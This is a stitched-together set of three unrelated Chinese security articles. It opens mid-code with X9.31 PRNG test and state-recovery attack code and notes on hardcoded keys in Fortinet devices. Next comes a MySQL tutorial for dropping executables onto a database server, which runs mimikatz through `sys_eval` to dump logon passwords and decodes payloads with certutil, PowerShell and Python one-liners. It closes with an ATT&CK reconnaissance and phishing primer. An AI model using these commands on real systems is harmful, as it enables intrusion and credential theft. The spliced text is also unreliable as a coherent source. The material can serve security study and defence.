typedef struct
{
DES_cblock keys[2];
const unsigned char time[8];
const unsigned char seed[8];
const unsigned char block1[8];
const unsigned char block100[8];
} PRNGtest;
/* FIXME: these test vectors are made up! */
static PRNGtest t1=
{
{ { 0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07 }, //key
{ 0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f },
},
{ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }, //fake_time
{ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }, //seed
{ 0x33,0xc3,0xdf,0xfe,0x60,0x60,0x49,0x9e },
{ 0xcd,0x2b,0x41,0xaf,0x80,0x51,0x37,0xd8 }
};
static PRNGtest t2=
{
{ { 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff },
{ 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff } },
{ 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff },
{ 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff },
{ 0x65,0xf1,0xa4,0x07,0x42,0x38,0xd5,0x25 },
{ 0xbb,0x75,0x84,0x20,0x7a,0x44,0xf0,0xa0 }
};
static void dump(const unsigned char *b,int n)
{
while(n-- > 0)
{
printf(" %02x",*b++);
}
}
static void compare(const unsigned char *result,const unsigned char *expected, int n)
{
int i;
for(i=0 ; i < n ; ++i)
if(result[i] != expected[i])
{
puts("Random test failed, got:");
dump(result,8);
puts("n expected:");
dump(expected,8);
putchar('n');
exit(1);
}
}
static void run_test(const PRNGtest *t)
{
unsigned char buf[8];
int n;
FIPS_set_prng_key(t->keys[0],t->keys[1]);
FIPS_test_mode(1,t->time);
FIPS_rand_seed(t->seed,sizeof t->seed);
if(FIPS_rand_bytes(buf,8) <= 0)
{
printf("FIPS_rand_bytes error!n");
exit(2);
}
compare(buf,t->block1,8);
for(n=0 ; n < 99 ; ++n)
if(FIPS_rand_bytes(buf,8) <= 0)
{
printf("FIPS_rand_bytes error!n");
exit(2);
}
compare(buf,t->block100,8);
FIPS_test_mode(0,NULL);
//FIPS_rand_cleanup();
}
void gen_rand(const PRNGtest *t)
{
unsigned char buf[8];
int n;
FIPS_set_prng_key(t->keys[0],t->keys[1]);
FIPS_rand_seed(t->seed,sizeof t->seed);
for(n=0 ; n < 8 ; ++n)
{
if(FIPS_rand_bytes(buf,8) <= 0)
{
printf("FIPS_rand_bytes error!n");
exit(2);
}
}
}
int main()
{
// test where the code runs as expected
//time is fixed = fake_time; encryption is fixed
run_test(&t1);
run_test(&t2);
//encryption is fixed; time is current time
gen_rand(&t1);
FIPS_rand_cleanup();
}
代码采用C语言编写，8组测试输出结果如下：
time: 0d 08 71 5c 97 11 0c 00 seed1: 00 00 00 00 00 00 00 00 I: bc 8a 0e 0a 20 5f 7e d8 rand: 34 b5 11 d5 bf 60 bc be seed2: f8 22 91 7a 9b a0 77 8e
time: 0d 08 71 5c e4 11 0c 00 seed1: f8 22 91 7a 9b a0 77 8e I: 46 2d 1b 9f dc 05 6d 68 rand: fa 45 71 c0 54 86 43 d6 seed2: fa 22 29 55 fb fc 41 7e
time: 0d 08 71 5c ef 11 0c 00 seed1: fa 22 29 55 fb fc 41 7e I: bf c0 f2 6e 71 f1 82 c6 rand: cd 5a a2 0a 47 77 31 28 seed2: e4 fb 5a 3d 8e 9c ad c3
time: 0d 08 71 5c 12 12 0c 00 seed1: e4 fb 5a 3d 8e 9c ad c3 I: 96 21 5f 5e b5 7b 26 4c rand: 1a 51 52 70 54 fc 3c fd seed2: 14 58 9b ba 46 db 10 5e
time: 0d 08 71 5c 1b 12 0c 00 seed1: 14 58 9b ba 46 db 10 5e I: 57 cc aa 31 27 0b 2d c1 rand: 43 13 3a 1f c5 3f c2 13 seed2: 50 68 a1 83 8d 62 6c 66
time: 0d 08 71 5c 22 12 0c 00 seed1: 50 68 a1 83 8d 62 6c 66 I: 98 86 5e 21 28 a4 49 1b rand: ac 5d c6 12 6f 74 be c9 seed2: b9 66 32 e0 19 aa 09 a6
time: 0d 08 71 5c 2a 12 0c 00 seed1: b9 66 32 e0 19 aa 09 a6 I: ea dc 46 98 0f 49 bc 72 rand: 32 e0 53 ec b9 3d 36 0c seed2: 44 66 1e ca 58 e5 2c 20
time: 0d 08 71 5c 31 12 0c 00 seed1: 44 66 1e ca 58 e5 2c 20 I: f4 ec 47 d5 a3 48 41 f0 rand: 00 00 e2 58 e2 34 2f cb seed2: 37 49 0d 63 08 b1 18 0b
时间共64位，小端存储，多次调用仅在微秒时间内发生变化。seed2和下一轮seed1相同。
攻击验证算法代码如下：
#include <openssl/des.h>
#include <openssl/rand.h>
#include <openssl/err.h>
#include <sys/time.h>
#include <assert.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
static DES_cblock key1;
static DES_cblock key2;
static DES_key_schedule ks1,ks2;
DES_cblock keys[2]=
{
{ 0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07 },
{ 0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f }
};
void dump(const unsigned char *b,int n);
void FIPS_set_prng_key(const unsigned char k1[8],const unsigned char k2[8]);
void xor_vectors(unsigned char *in1, unsigned char *in2,
unsigned char *out, unsigned int size);
static void FIPS_rand_encrypt(unsigned char *out,const unsigned char *in);
static void FIPS_rand_decrypt(unsigned char *out,const unsigned char *in);
int compare_seed(unsigned char *rand1 ,unsigned char *time_buf1, unsigned char *rand2, unsigned char *time_buf2);
void dump(const unsigned char *b,int n)
{
while(n-- > 0)
{
printf(" %02x",*b++);
}
putchar('n');
}
void FIPS_set_prng_key(const unsigned char k1[8],const unsigned char k2[8])
{
memcpy(&key1,k1,sizeof key1);
memcpy(&key2,k2,sizeof key2);
DES_set_key(&key1,&ks1);
DES_set_key(&key2,&ks2);
}
void xor_vectors(unsigned char *in1, unsigned char *in2,
unsigned char *out, unsigned int size)
{
int i;
for (i = 0; i < size; i++)
out[i] = in1[i] ^ in2[i];
}
static void FIPS_rand_encrypt(unsigned char *out,const unsigned char *in)
{
DES_ecb2_encrypt(in,out,&ks1,&ks2,1);
}
static void FIPS_rand_decrypt(unsigned char *out,const unsigned char *in)
{
DES_ecb2_encrypt(in,out,&ks1,&ks2,0);
}
int compare_seed(unsigned char *rand1 ,unsigned char *time_buf1, unsigned char *rand2, unsigned char *time_buf2)
{
unsigned char in1[8], out2[8];
unsigned char seed1[8], seed2[8];
unsigned char T1[8], T2[8];
int i;
/*
Ti=Ek(time_buf_i)
seed[i+1]=Ek(rand[i]^Ti)
*/
FIPS_set_prng_key(keys[0],keys[1]);
FIPS_rand_encrypt(T1,time_buf1);
xor_vectors(rand1,T1,in1,8);
FIPS_rand_encrypt(seed1,in1);
dump(seed1,8);
/*
Ti+1=Ek(time_buf_i+1)
seed[i+1]=Dk(rand[i+1])^Ti+1
*/
FIPS_rand_encrypt(T2,time_buf2);
FIPS_rand_decrypt(out2,rand2);
xor_vectors(out2,T2,seed2,8);
dump(seed2,8);
if(memcmp(seed1,seed2,8)==0)
return 1;
return 0;
}
int main()
{
unsigned char rand1[]={0xfa,0x45,0x71,0xc0,0x54,0x86,0x43,0xd6};
unsigned char time_buf1[]={0x0d,0x08,0x71,0x5c,0xe4,0x11,0x0c,0x00};
unsigned char rand2[]={0xcd,0x5a,0xa2,0x0a,0x47,0x77,0x31,0x28};
unsigned char time_buf2[]={0x0d,0x08,0x71,0x5c,0xef,0x11,0x0c,0x00};
int ret=compare_seed(rand1,time_buf1,rand2,time_buf2);
if(ret)
printf("mached!n");
else
printf("mismached!n");
}
利用测试输出的连续两组随机数及确定的时间，验证攻击算法的正确性。实验表明，验证算法正确。
## 四、存在随机数漏洞的产品攻击
X9.31随机数发生器的NIST设计描述没有规定如何生成或存储分组密码密钥。
但是，希望获得FIPS认证的供应商需要制作详细的公共“安全政策”文档，描述其加密实施和密钥管理程序。 论文对针对X9.31
PRG认证的产品的安全策略进行了系统研究，以了解有多少供应商公开记录了潜在的硬编码密钥漏洞。 作者从NIST网站获得了认证设备清单。统计结果如下：
不安全设备的文档表明AES密钥静态存储在固件或闪存中，并在运行时加载到PRG中。共有12家供应商，涉及40个产品线。其中包括Cisco、Fortinet等大厂商。
FortiOS
4.3的FIPS认证表明X9.31密钥是“在模块外部生成的”。作者对两个版本的FortiOS进行了逆向工程，发现他们使用相同的硬编码密钥进行X9.31实现，然后将其用作操作系统的随机数生成器。
FortiOSv4是Fortigate网络设备的嵌入式操作系统。两个镜像分别来自FortiGate
100D防火墙的固件和运行相同版本操作系统的“虚拟设备”（VM）FortiOS是一种GNU/Linux变种，具有定制的shell，其内核模块实现了硬件接口和加密功能。
内核是Linux
2.4.37。通过binwalk即可实现固件镜像解压，并对其操作系统加载。FortiOS通过导出Linux字符设备模块，在内核中实现X9.31随机数发生器。
在引导时，init进程加载模块并将/dev/urandom替换为与X9.31字符设备对应的文件系统节点。PRG实现使用对do_gettimeofday（）的调用生成时间戳，并生成包含64位时间到最接近的微秒的struct
timeval。
此结构将两次复制到缓冲区中，以形成X9.31生成器的完整128位时间戳。作者对提供X9.31实现的内核模块进行了逆向工程，并找到了用于PRG的硬编码AES密钥。
### （一）HTTPS攻击
FortiOS v4使用OpenSSL实现TLS。 初始化库时，它将随机数生成方法设置为系统PRG，即X9.31实现。
TLS服务器hello random包含一个四字节时间戳，后跟两个X9.31 PRG输出的原始块，截断为28字节，允许状态恢复攻击。 但是，TLS
DH密钥交换实现方式为临时静态Diffie-Hellman，每次重启后生成直至关机，不容易对服务器直接密钥恢复攻击。
### （二）IPSec攻击
IKE守护程序基于raccoon2项目侦察，使用GNU MP库编译。守护进程使用的所有随机数都是通过/dev/urandom生成，因此使用X9.31模块。
在IKEv1实现中，PRG输出的第一个分组用于生成IKEv1
cookie，方法是将其与IP地址，端口，内存地址以及时间一起散列，以秒为单位。在IKEv2实现中，SPI字段（相当于IKEv1
cookie）是PRG输出的八个原始字节。在IKEv1和IKEv2中，下一个PRG输出分组用于生成握手Random，其长度为16个字节。对于与1024位Oakley
Group 2 prime进行Diffie-Hellman密钥交换的情况，FortiOS
v4使用来自PRG的两个连续块生成指数。在虚拟设备的实现中，随机字节直接读入Diffie-Hellman指数而不进行修改。
## 四、Fortinet特定版本产品的在线探测
作者使用ZMap在在互联网空间内扫描TCP 443端口（HTTPS）和 UDP 500端口（IKE）。通过IKE协议中的Vendor
ID信息，即可确定VPN类型。HTTPS扫描中，一方面可通过证书common
name字段判断设备厂商信息。进一步可通过ETAG判断设备指纹信息。方程式组织泄露的文件中注明了ETAG及其对应版本的详细信息，可作为版本探测的参考。而在现实攻击中，还可通过telnet和SSH协议的flag信息判断Fortinet的产品。
Fortigate防火墙证书信息
方程式组织泄露文件EGBL.config
下面重点对ETAG的作用进阐述。
HTTP协议规格说明定义ETag为“被请求变量的实体值”。另一种说法是，ETag是一个可以与Web资源关联的记号（token）。典型的Web资源可以一个Web页，但也可能是JSON或XML文档。服务器单独负责判断记号是什么及其含义，并在HTTP响应头中将其传送到客户端，以下是服务器端返回的格式：`ETag:"50b1c1d4f775c61:df3"`。客户端的查询更新格式是这样的：`If-None-Match : W / "50b1c1d4f775c61:df3"`如果ETag没改变，则返回状态304然后不返回，这也和Last-Modified一样。测试Etag主要在断点下载时比较有用。利用ETAG，可以作为服务器版本的特定指纹信息。针对FortiGate防火墙扫描返回的信息如下。 | 社区文章 |
## 关于站库分离数据库不出网落地Exe方式探究-Mysql
## 前言
之前偶尔会遇到站库分离 **数据库不出网
&没有Webshell**的情况,只有一个可以执行命令的shell,这种情况下如果想进行横向只能通过数据库来落地我们的工具。
注:文中只是为了演示数据库如何落地exe,可能部分环境过于理想化,在实战中很难遇到。
## 1、Mysql
环境：Windows+Mysql 5.7.26
模拟环境：对web目录没有写入权限,但是对lib/plugin有写入权限,可以使用UDF执行命令。
### 1.1 into dumpfile
#### 1.1.1 导出exe
复制exe文件的16进制,然后执行。
select unhex("exe文件的16进制") into dumpfile "\\路径\\文件名.exe"
导出后的文件可以正常执行
#### 1.1.2 执行
这里落地了一个mimikat.exe,然后执行
select sys_eval('C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\M.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\res1.txt"')
执行完毕后可以使用windows的more、type或者mysql的Load_file函数查看执行结果
#### 1.1.3 exe退出
如果运行了一个exe程序,但是没有给他退出的命令或者是他自己不会终止退出。例如我直接运行mimikatz.exe没有给参数传入,那么他会在目标服务器直接弹一个黑窗,一直卡在这,直到程序被终结。
这种情况可以在桌面手动关闭,也可以通过shell关闭。
select sys_eval('tasklist /svc |findstr "进程名.exe"')
将结果进行16解码即可得到进程id,再Kill掉就好了。
#### 1.1.4 注意点
* 导出的文件,不能是已经存在的文件,否则会报错。
* 导出路径中的"\"为两个,否则会转义。
* 使用findstr查找进程的时候,要使用双引号包裹进程名。
* 正常执行程序的时候,会秒弹一个黑窗然后退出,使用暂时没找到解决办法。尽量避免管理员在线的时候执行exe,使用query user可查看管理员是否在线。
### 1.2 into outfile
into outfile会转义换行符,导致exe无法正常执行。
正常exe
导出的exe
在大小上也可以明显看出,导出的比正常的要大很多。
### 1.3 echo导出
#### 1.3.1 全部写入
既然可以执行命令,那么可以使用echo将exe-16进制写入&追加到一个文件,然后再使用certutil解码还原。
select sys_eval("echo exe_hex >> c:\\users\\admin\\desktop\aaa.txt && certutil -decodehex c:\\users\\admin\\desktop\aaa.txt c:\\users\\admin\\desktop\aaa.exe")
将16进制全部复制执行报错了,但是echo 123可以正常写入,可能是长度问题?
#### 1.3.2 Windows命令行限制
百度了一下windows命令行最大长度为8191,16进制长度是113898,做了一个小实验来验证百度到的答案:
复制所有16进制到cmd,echo 所有16进制>> 11.txt。因为有长度限制,只会复制一部分到cmd。查看cmd中最后的exe-hex
08B45F4890424E85D在全部exe-hex中的位置-8176,加上echo空格>>空格11.txt刚好8190个字节。
#### 1.3.3 分段追加写入
直接全部写入会超出命令行限制,只能去分段写入。使用echo每追加一次都会自动换行,在百度找到了使用set /p=""这种方式可以实现不换行追加。
这个是个体力活,在本地就不手动了追加了,写个脚本假装手工追加写入。
将导入的16进制文件解码即可得到可执行文件
#### 1.3.4 遇到的问题
* 使用set /p分段追加无论是手动还是脚本都会遇到一个问题。执行完他已经写入,但不会自己终止结束这条命令并换行,需要手动不断回车来结束
### 1.4 日志
#### 1.3.1 常见Getshell日志类型
常用的日志导出有 **通用日志、慢日志查询** ,经过测试他们在操作方面没太大差距,这里只使用通用日志来实验。
#### 1.3.1 通用日志
通用日志是最常用的一种日志Getshell的方式,会记录我们执行的查询语句。
show variables like 'general_log'; #查看日志是否开启
set global general_log=on; #开启日志功能
show variables like 'general_log_file'; #看看日志文件保存位置
set global general_log_file='log_path'; #设置日志文件保存位置
设置日志路径,然后开启日志,执行select "exe-hex",再使用正则匹配出exe-hex进行解码即可。
使用powershell匹配出exe-hex
powershell -c "&{$b=[System.IO.File]::ReadAllBytes('日志文件');set-content -value $b[开始位置..结束位置] -encoding byte -path '保存路径';}"
使用[System.IO.File]::ReadAllBytes读取日志全部内容,再使用set-content筛选出我们的exe-hex。
在shell中可以使用type来读取日志文件,复制到本地查看exe-hex在日志中的位置,我在phpmyadmin测试使用udf去执行type只读取到了118134个字节,不过刚好读取完我们的exe-hex。
#### 1.3.2 注意点
* 这里尽量先设置好日志存储路径再开启日志记录,日志会少一点。
* 在执行完select "exe-hex"之后要关闭日志记录,否则powershell无法打开
* powershell导出exe-hex的时候会覆盖源文件
### 1.5 思考
以下几个点是在实验过程中&偶然灵光一现感觉可行的思路
* 大都是使用certuil解码?有没有其他的解码方式?（已解决）
没找到其他windows自带的程序可以解码,之后想到可以python解码,由此想到其他支持在命令行执行单行代码的语言php、perl等。其他的不支持在命令行执行代码的语言,可以再使用上面的方法导出该语言对应的解码代码,再去调用执行进行解码。
下面是python3的一句话hex解码
python -c "import binascii;text=open('res.exe','ab');text.write(binascii.a2b_hex(open('exe-hex.txt').read()))"
其他语言也大致类似思路,这里就不演示啦。
* outfile既然导出二进制会增加转义、换行,如果可以使用powershell、编程语言将其再过滤,是不是也可以用。（未解决）
* 最后日志使用powershell可以获取到exe-hex,如果没有powershell感觉使用编程语言也可以匹配出来。（已解决）
python -c "import re;import binascii;z=re.findall('(4D5A.*?6500)\"',open('log.log').read());text=open('res1.exe','ab');text.write(binascii.a2b_hex(z[0]))"
* 感觉echo导出方式这个也适用于不出网对web目录没写入权限的命令执行
### 1.6 总结
导出方式 | 概述 | 推荐优先级
---|---|---
dumpfile | 只要做好免杀,可以直接导出exe就可以用了 | 1
outfile | 导出二进制数据较会增加转义、换行,exe无法直接执行 | 暂时不推荐
echo | 有点费手.... | 3
日志 | 需要过滤出exe-hex,有一定使用限制。 | 2
### 1.7 参考链接
<https://blog.csdn.net/leshami/article/details/39779225> Mysql日志介绍-通用日志
<https://www.cnblogs.com/KHZ521/p/14961303.html> Mysql 通用日志Getshell
<https://blog.csdn.net/u011250186/article/details/108409562> Windows命令行长度限制
<https://blog.csdn.net/weixin_39914107/article/details/111429294>
python十六进制转换为字符串 | 社区文章 |
作者：FA1C0N@RPO-Official
相关阅读：[《ATT&CK 初探 2 -- 资源开发利用阶段》](https://paper.seebug.org/1628/ "《ATT&CK 初探 2
-- 资源开发利用阶段》")
## 介绍
RPO是一个信息安全爱好者成立的小组，我们致力于找到有趣的东西。
## 前言
ATT&CK（Adversarial Tactics, Techniques, and Common Knowledge
）是一个攻击行为知识库和模型，主要应用于评估攻防能力覆盖、APT情报分析、威胁狩猎及攻击模拟等领域。从2013年MITRE首次提出这个概念，2015年ATT&CK框架正式发布。在2016年到2020年的一份Excel电子表格发展到如今的社区知识集合。简单的说ATT&CK就是一张表，红蓝双方按照表中的区块对企业设施展开对抗，从而发现安全的薄弱点。我们未来会不断更新整个框架的技术细节和利用/防御方式。
## 正篇
### 侦察阶段（Reconnaissance）
#### 一 主动扫描 （Active scanning）
##### IP块扫描
攻击者可能会扫描IP的方式收集受害者网络信息。扫描的方式可以是简单的ping扫描到更细微的扫描，后者可能会通过服务器响应或其他网络组件显示主机软件/版本。为后续进一步利用打好了基础。
主动扫描可以用于在网络中收集资产信息，便于快速掌握开放到公网上的网络服务。
我们可以对受害者执行主动扫描以收集信息。
主动扫描是指通过网络流量探查受害者基础设施的扫描，与不涉及直接交互的其他形式的侦察相反。敌手可能会根据他们寻求收集的信息而执行不同形式的主动扫描。
###### 使用方式
Nmap，Masscan
由于自己扫描的话在不开启代理的情况下会暴漏个人IP，容易导致被ban
IP，或者溯源甚至被反控等风险。隐藏自己的方法除了代理以外还可以借助各大安全厂商的网络空间扫描引擎，比如ZoomEye，Shodan，Censys，FOFA等。
##### 漏洞扫描
攻击者可能会进一步扫描受害者以查找可以使用的漏洞。漏洞扫描通常检查目标主机/应用程序（例如：软件和版本）的配置是否存在攻击者可以利用的攻击点。一般的攻击者会通过老旧版本软件存在的漏洞趁虚而入。
这些扫描还可能包括更广泛的尝试来收集受害者主机信息，这些信息可用于识别更常见的可利用漏洞。漏洞扫描通常通过服务器上正在运行的软件版本，侦听端口或其他网络组件来收集正在运行的软件和版本号。
系统地枚举和检查可识别，可猜测和未知的内容位置，路径，文件名，参数，以发现可能存在安全漏洞的弱点和要点。漏洞扫描包括恶意扫描和授权漏洞扫描引擎的扫描
###### 使用方式
主动漏洞扫描器：awvs，nessus，Appscan
被动漏洞扫描器：w13scan，xray
目前市面上大部分主流扫描器都被一些入侵检测软件记录了特征。直接暴露渗透时使用的软件也是有隐患的。在某次hvv过程中，笔者从流量中发现了大规模的icmp包，疑似探测行为，查看数据为十六进制，转字符串得“Pinging
from Delphi code written by F.
Piette”，将此字符串进行搜索比较发现此段字符串出现自XX扫描器或其简单变种，若将此特征写入入侵检测软件，那么每次触发特征值都能捕捉到类似XX扫描器或其变种的攻击从而进行预警甚至阻断。
从攻击方的角度可以通过更换扫描器特征的方式绕过入侵检测系统，或者使用更加小众的扫描器亦或者自己去编写一个扫描器。
Tips：根据目标主机对应的端口响应来做出相应判断，最好扫描速度可控，大规模接收到来自同一ip的icmp这种事并不常见，一旦出现十有八九是探测扫描甚至更恶劣的行为。
###### 防守方缓解措施
可通过减少暴露面来缓解
关注可能表示扫描的可疑网络流量，例如来自单个源的大量流量。分析Web数据也可能会发现可归因于潜在恶意活动的对象。
#### 二 收集受害者主机信息 （Gather Victim Host Information）
这一个模块中，attack矩阵给出了四个子技术，分别是硬件，软件，固件和客户端信息，并给出提示通过扫描探测，网络钓鱼或者社工（比如寻找一些该公司泄露出的购物发票等信息）的方式去获取这四种信息。
攻击者可以通过各种方式收集此信息，例如通过主动扫描（例如：主机名，服务器标语，用户代理字符串）或
网络钓鱼诱骗直接收集信息。攻击者还可能直接破坏站点，然后收集访问者主机信息。有关硬件基础结构的信息也可能通过在线或其他可访问的数据集（例如：招聘网站，网络地图，评估报告，简历或发票）暴露给攻击者。
##### 硬件
这些信息包含各种详细信息，例如特定主机上的类型和版本，以及其他可能存在的防御保护组件（例如：卡/生物识别器，专用加密硬件等）。
##### 软件
这些信息包含各种详细信息，例如特定主机上的类型和版本，以及其他可能存在的防御保护组件（例如，杀毒软件，SIEM等）。
##### 固件
这些信息包含各种详细信息，例如特定主机上的类型和版本，这些信息可用于推断有关环境中主机的更多信息（例如：配置，用途，使用期限/补丁程序级别等）。
##### 客户端信息
这些信息包含各种详细信息，包括操作系统/版本，虚拟化，体系结构（例如32位或64位），语言和/或时区。
###### 使用方式
通过受害者的招聘信息可能会获取到技术栈和使用软件等信息。
<https://met.red/> 是一个支持高精度的ip定位网站
###### 防守方缓解措施
在最大程度地减少可提供给外部各方的数据数量和敏感性。公布一些数据时一定要脱敏。
这里提到了水坑攻击，水坑攻击指的是预先掌握受害者活动的规律，在其经常访问的容易被攻破的网站上先行写入攻击代码，攻击代码利用浏览器的缺陷，当受害者访问网站时终端会被植入恶意程序或者直接被盗取相关信息。这里提到的一种框架是scanbox，其可通过加载不同的功能来获取不同受害者主机的信息。
#### 三 收集受害者身份信息（Gather Victim Identity Information）
有关身份的信息包括各种详细信息，包括个人数据（例如：员工姓名，电子邮件地址等）以及诸如凭据之类的敏感信息。
防守方缓解措施：减少可提供给外部各方的数据的数量和敏感性。
##### 凭据
收集受害者的凭据可以通过多种方式，社工，转储泄露以及网络钓鱼等。这里提到了水坑攻击，github泄露，以及其他的泄露问题。大多数人的凭据是很少更换或者相互接近的，对比凭据特征做出的字典想必可以在一定的范围内发挥巨大的作用。
github泄露是非常致命的，开发人员可能在一些时候将凭据或者关键的信息写入自己的文件中，再将这些文件传储到github。
###### 使用方式
<https://www.jisec.com/sec/528.html>
<https://github.com/VKSRC/Github-Monitor>
##### 电子邮箱
收集受害者使用的相关电子邮件地址。收集到的话建议使用之前我们做出来的具有针对性的字典进行一波碰撞，说不定有意外的惊喜，一旦拿到了电子邮箱的控制权，那么我们就可以根据找回密码轻松得到我们想要的信息。
###### 使用方式
<https://www.maltego.com>
maltego是一款信息收集工具，它可以通过IP，域名等方式搜集查询到网站注册人邮箱等其他相关信息。
##### 员工名称
收集员工名称也是信息收集的一环，有很多员工名称会被呈现在其业务相关的网站上。这些员工名称可以作为字典合成的一部分或者查找域名等信息的关键所在，也可用其来制造更加逼真的“诱饵”做网络钓鱼用。
使用方法
<https://github.com/m8r0wn/CrossLinked>
#### 四 收集受害者网络信息（Gather Victim Network Information）
收集有关受害者网络的信息。有关网络的信息可能包括各种详细信息，包括IP，域名以及有关其拓扑和操作的详细信息。
防守方缓解措施：在最大程度地减少可提供给外部各方的数据数量和敏感性。
##### 域属性
收集有关受害者网络域的信息。有关域及其属性的信息可能包括各种详细信息，包括受害者拥有的域以及姓名，注册商或者更直接可操作的信息，例如联系人，公司地址和名称服务器的相关信息。
whois查询可以查询到相关域名各类详细信息，比如域名，相关注册表域ID，registrar
whois服务器，更新日期，创建日期，注册服务商，域名归属者联系方式等信息。
###### 使用方式
[域名Whois查询 - 站长之家 (chinaz.com)](https://whois.chinaz.com/)
##### 域名解析
收集有关受害者DNS的信息。DNS信息可能包括各种详细信息，包括注册服务器以及目标子域，邮件服务器和其他主机的地址的记录。
与DNS查询的方式相反，被动DNS属于反向获取或查询DNS数据信息。这些数据信息不仅包含了当前的DNS数据，也包括了历史记录中的一些DNS数据映射。
###### 使用方式
<https://github.com/dnsdb/dnsdbq>
$ ./dnsdbq -r farsightsecurity.com/A -l 1
;; record times: 2013-09-25 15:37:03 .. 2015-04-01 06:17:25 (~1y ~187d)
;; count: 6350; bailiwick: farsightsecurity.com.
farsightsecurity.com. A 66.160.140.81
https://dnsdumpster.com/是个在线查询DNS的网站，它能显示出域名服务商所在地，MX记录，TXT记录及A记录，也能绘制出映射域的图像
<https://dns.bufferover.run/dns?q=> 是一个在线查询子域名的网站。
<https://github.com/knownsec/ksubdomain> 是一款基于无状态子域名爆破工具。
##### 网络可信依赖
有关网络信任的信息可能包括各种详细信息，包括已连接（并可能提升了）网络访问权限的第二或第三方组织/域
这里提到的是AD林，可以拓展到AD林根域，子域，域树等关系。域(Domain)是Windows网络中独立运行的单位，域之间相互访问则需要建立信任关系。信任关系是连接在域与域之间的桥梁。这里提到一款工具，mimikatz，这款工具可以获得AD相关的信息（域管理员登录留下的记录，黄金、白银票据）。
##### 网络拓扑
关于网络拓扑的信息可以包括各种细节，包括面向外部和内部网络环境的物理、逻辑布局。此信息可能还包括有关网络设备（网关，路由器等）和其他基础结构的详细信息。
网络拓扑的获取是存在一些难度的，但是通过有效的社工，还是有可能获得目标的网络拓扑。
提到网络拓扑，如果您已经进入到某一个内部网络，想要获取取得权限或者相关网络拓扑时，那么您一定会回忆起一款工具——BloodHound，它不仅能让您看到相关网络关系，还可以选择最佳攻击路线和最简获得域控的步骤。
##### IP地址
收集受害者的IP地址。公用IP地址可以按一定顺序分配给组织。有关分配的IP地址信息可能包括各种详细信息，例如正在使用的IP地址。IP地址还可以使攻击者获得有关受害者的其他详细信息，例如组织规模，地理位置，Internet服务提供商，以及在何处。
可以通过域名直接寻找IP地址（ping
域名）也可以使用whois查询和DNS查询，通过whois查询和DNS查询可以获取相关IP，获取IP后就可以进行一系列的扫描探测行为。
##### 网络安全设备
收集有关目标受害者网络安全设备的信息。有关网络安全设备的信息可能包括各种详细信息，例如已部署的防火墙，IPS，IDS，EDR，堡垒机等的存在和详细信息。攻击者还可能针对有关基于受害者的网络入侵检测系统（NIDS）或其他与防御性网络安全操作有关的设备的信息。
###### 使用方式
waf00f等一系列扫描器识别受害者相关网络所使用的安全设备（软/硬）。
#### 五 收集受害者组织信息（Gather Victim Org Information）
收集有关受害者组织的信息。有关组织的信息可能包括各种详细信息，包括部门/部门的名称，业务运营的详细信息以及关键员工的角色和职责。
防守方缓解措施：在最大程度地减少可提供给外部各方的数据数量和敏感性。
##### 确定物理位置
受害者相关的物理位置的信息可能包括各种详细信息，包括关键资源和基础架构的存放位置。实际位置还可以显示受害者在哪个具体的位置工作（辖区/机构）。
可使用的方式有很多，比如IP定位，钓鱼，社工等一系列方式。
我们可以通过其社交媒体来确定位置，比如图片没有进行处理就上传，存在地理位置信息，又或者可以根据图片推导出拍照位置。
当然，确定物理位置时，可以先通过微步查看其IP性质（基站？住宅？等等），在某次活动中，笔者经常会受到来自恶意IP的攻击，但是每次想要溯源时候常常会发现很多都是一些基站或者不固定IP，这种溯源从某种角度来说是比较困难的。
站长工具和一些网站（<https://www.xj.hk/hack/>）均可提供IP查询。
在得知公司信息时，可以在招聘软件上寻找相关公司在各地的办事处地址，层层深挖会得到更多的信息。
##### 业务关系
收集有关受害者的业务关系信息。有关组织业务关系的信息可能包括各种详细信息，包括网络访问权限的组织（比如委托第三方对业务进行完善的服务提供商或相关业务的承包商，在一家公司里，这些组织、域往往通过VPN，堡垒机进行运维，当然也存在实地运维的可能性），同时可能包括一些收购的子公司，通过域的信任去连接受害者所处的域，从而进行运维或获取公司内部的信息和服务。当然，此信息还可能揭示受害者的硬件和软件资源的供应相关信息。相关业务关系可以去查找其企业历年来的投标招标信息，相信你会有意外的收获，也可以通过天眼查（<https://www.tianyancha.com/>）等网站去查找公司相关业务关系。
##### 确定业务周期
收集有关受害者的业务节奏的信息，这些信息可在目标确定期间使用。有关组织业务节奏的信息可能包括各种细节，包括每周的工作时间/天。此信息还可能显示受害者的硬件和软件资源的购买和运输时间/日期。
在得知受害者相关单位和岗位时，可以通过社工，钓鱼的方式去深入了解业务和工作周期（可以通过招聘软件去联系HR获得相关业务职位的具体信息，包括胜任该岗位需要的技能与工作时间安排等）。笔者当时应聘在面试中一般都会和HR聊到业务周期等相关信息。
##### 确定角色
收集有关受害者组织内的身份和角色的信息。这些信息可能会揭示各种细节，包括关键人员的可识别信息以及他们在机构内的访问权限。
受害者身份鉴别可以是通过社交媒体获得的，如果受害者在其单位表现优秀并且该单位经常性表彰优秀员工并编写文章，发表在相关单位的官网上，那么该受害者的身份就暴露在了internet中。
#### 六 信息网络钓鱼 （Phishing for Information）
##### 鱼叉式钓鱼服务 Spearphishing Service
鱼叉式钓鱼钓鱼服务是针对特定个人，公司或行业的社会工程学。攻击者通过虚假的网络社交账号与受害者建立联系，从而更容易的刺探内部信息和服务。甚至是诱使受害者点开恶意链接或附件。
##### 鱼叉式钓鱼攻击 Spearphishing Attachment
攻击者通过将文件附加到鱼叉式钓鱼邮件中，通常需要诱导用户打开才能执行其内的恶意程序。
附件有很多选项，如Microsoft
Office文档，可执行文件，PDF，压缩文件等。攻击者会在电子邮件中给出一个合适的理由，文件为什么应该打开，并可能解释如何绕过系统保护，从而让附件中的攻击载荷在用户的系统中执行。
